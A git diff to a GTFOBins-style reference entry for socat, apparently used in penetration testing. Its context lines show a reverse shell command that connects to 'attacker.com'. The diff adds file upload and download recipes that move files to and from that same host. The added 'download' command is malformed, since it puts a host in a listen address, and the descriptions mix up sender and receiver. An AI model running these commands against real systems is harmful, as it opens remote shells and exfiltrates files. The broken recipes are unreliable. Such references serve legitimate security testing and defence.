diff --git a/_gtfobins/socat.md b/_gtfobins/socat.md
index f7185b3..9e114ff 100644
--- a/_gtfobins/socat.md
+++ b/_gtfobins/socat.md
@@ -23,4 +23,16 @@ functions:
         RHOST=attacker.com
         RPORT=12345
         ./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
+  upload:
+    - description: Run ``socat -u file:path tcp:ip:12345`` on the attacker box to send a file to your box.
+      code: |
+        RHOST=attacker.com
+        RPORT=12345
+        ./socat tcp-connect:$RHOST:$RPORT file:path
+  download:
+    - description: Run ``socat -u TCP-LISTEN:12345,reuseaddr OPEN:path,creat`` on your box to receive a file from attacker box.
+      code: |
+        RHOST=attacker.com
+        RPORT=12345
+        ./socat tcp-listen:$RHOST:$RPORT,reuseaddr OPEN:path,creat
 ---